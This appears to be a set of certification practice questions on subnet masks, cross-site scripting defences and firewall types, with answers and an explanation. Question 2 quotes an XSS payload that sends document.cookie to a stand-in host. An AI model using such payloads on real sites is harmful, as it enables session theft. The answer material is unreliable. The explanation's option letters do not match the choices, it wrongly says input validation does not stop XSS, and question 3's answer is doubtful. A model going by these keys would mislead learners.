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NEW QUESTION: 1
Which of the following is the default subnet mask for the Class C IP address network?
A. 255.255.0.0
B. 255.0.0.0
C. 255.255.255.0
D. 127.0.0.1
Answer: C
NEW QUESTION: 2
A security administrator notices the following line in a server's security log:
<input name='credentials' type='TEXT' value='" +request.getParameter
('><script>document.location='http://badsite.com/?q='document.cookie</script>')+';
The administrator is concerned that it will take the developer a lot of time to fix the application that is running on the server. Which of the following should the security administrator implement to prevent this particular attack?
A. DAM
B. WAF
C. SIEM
D. Input validation
E. Sandboxing
Answer: B
Explanation:
The attack in this question is an XSS (Cross Site Scripting) attack. We can prevent this attack by using a
Web Application Firewall.
A WAF (Web Application Firewall) protects a Web application by controlling its input and output and the access to and from the application. Running as an appliance, server plug-in or cloud-based service, a
WAF inspects every HTML, HTIPS, SOAP and XML-RPC data packet. Through customizable inspection, it is able to prevent attacks such as XSS, SQL injection, session hijacking and buffer overflows, which network firewalls and intrusion detection systems are often not capable of doing. A WAF is also able to detect and prevent new unknown attacks by watching for unfamiliar patterns in the traffic data.
A WAF can be either network-based or host-based and is typically deployed through a proxy and placed in front of one or more Web applications. In real time or near-real time, it monitors traffic before it reaches the Web application, analyzing all requests using a rule base to filter out potentially harmful traffic or traffic patterns. Web application firewalls are a common security control used by enterprises to protect Web applications against zero-day exploits, impersonation and known vulnerabilities and attackers.
Incorrect Answers:
B: Input validation is used to ensure that the correct data is entered into a field. For example, input validation would prevent letters typed into a field that expects number from being accepted. Input validation is not an effective defense against an XSS attack.
C: Security information and event management (SIEM) is an approach to security management used to provide a view of an organization's IT security. It is an information gathering process; it does not in itself provide security.
D: Sandboxing is a process of isolating an application from other applications. It is often used when developing and testing new application. It is not used to defend against an XSS attack.
E: DAM (digital asset management) is a system that creates a centralized repository for digital files that allows the content to be archived, searched and retrieved. It is not used to defend against an XSS attack.
References:
http://searchsecurity.techtarget.com/definition/Web-application-firewall-WAF
NEW QUESTION: 3
ブラックボックスの侵入テスト中に、侵害されたWeb対応ホストからポート80 / TCPを介してIRCトラフィックを通過させようとします。トラフィックがブロックされます。ただし、アウトバウンドHTTPトラフィックは妨げられません。どのタイプのファイアウォールがアウトバウンドトラフィックを検査していますか？
A. 回路
B. アプリケーション
C. パケットフィルタリング
D. ステートフル
Answer: D